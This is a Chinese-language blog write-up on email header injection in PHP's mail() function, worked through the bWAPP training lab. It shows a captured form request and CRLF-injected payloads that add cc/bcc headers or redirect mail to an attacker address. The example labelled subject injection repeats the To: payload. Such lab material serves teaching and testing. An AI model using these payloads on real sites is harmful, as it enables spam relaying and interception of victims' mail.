• 电子邮件头注入


    电子邮件头注入

    漏洞含义:

    大多数网站允许他们的用户联系他们,向网站提供建议,报告一个问题,或者要求反馈,用户将会发送反馈给网站管理员的电子邮件,一般只发生在webemail。如果存在漏洞,便可以利用此邮件服务器和此邮件地址向其他人发送邮件,它允许恶意攻击者注入任何邮件头字段,BCC、CC、主题等,它允许黑客通过注入手段从受害者的邮件服务器发送垃圾邮件。

    漏洞原理:

    在php中有mail()函数用于发送邮件。

    bool mail ( string $to , string $subject , string $message [, string $additional_headers [, string $additional_parameters ]] )

    其中to,subject,message都为接收的参数。发送邮件功能代码从用户接收输入(包括邮件主题、消息和来源等),参数没有过滤和验证。因此,恶意攻击者可以任意控制这些参数的值,用户发送inject攻击。

    常见的标题头

    • return-path:邮件的回复地址。
    • from:发件人地址。
    • to:收件人地址。
    • subject:邮件主题,即邮件名。
    • body:邮件内容。
    • date:邮件发送日期。
    • cc:抄送。
    • bcc:密送。

    示范:

    列举bee-box的bwapp中Mail Header Injection(smtp)一题:

    burp抓包:

    POST /bWAPP/maili.php HTTP/1.1
    Host: 192.168.0.108
    Content-Length: 54
    Cache-Control: max-age=0
    Upgrade-Insecure-Requests: 1
    Origin: http://192.168.0.108
    Content-Type: application/x-www-form-urlencoded
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Referer: http://192.168.0.108/bWAPP/maili.php
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Cookie: security_level=0; PHPSESSID=9d12f87ae399cf50674d1e529e3ab53c
    Connection: close
    
    name=test&email=test%40qq.com&remarks=test&form=submit
    
    注入方式:

    需要增加换行符 或者 ,或者16进制换行符"0x0A";

    1.cc/bcc注入:在发送者(email)后注入参数-》

    name=test&email=test%40qq.com%0Acc:fxxk1@qq.com%0Abcc:fxxk2@qq.com&remarks=test&form=submit

    然后消息就会发送到fxxk1和fxxk2账户中。

    2.参数注入:

    name=test&email=test%40qq.com%0ATo:攻击者@qq.com&remarks=test&form=submit

    消息就会通过发送到攻击者账户。

    3.邮件主题注入:

    name=test&email=test%40qq.com%0ATo:攻击者@qq.com&remarks=test&form=submit

    ps:听说还可以劫持找回密码邮件。但是不知道是什么原理。
    对这个漏洞,我的理解就是:使用有漏洞的邮件服务器,并使用bcc密送也可以发送一份反馈邮件到我们自己的邮件中。

  • 相关阅读:
    Python连接MySQL
    Python监控文件夹 && 发送邮件
    CentOS安装Redis
    weak_ptr
    libevent(六)http server
    libevent(五)使用例子
    laravel查询数据库获取结果如何判断是否为空?
    centos7 php-fpm 开机启动
    centos7 防火墙
    Laravel
  • 原文地址:https://www.cnblogs.com/cou1d/p/14773662.html
Copyright © 2020-2023  润新知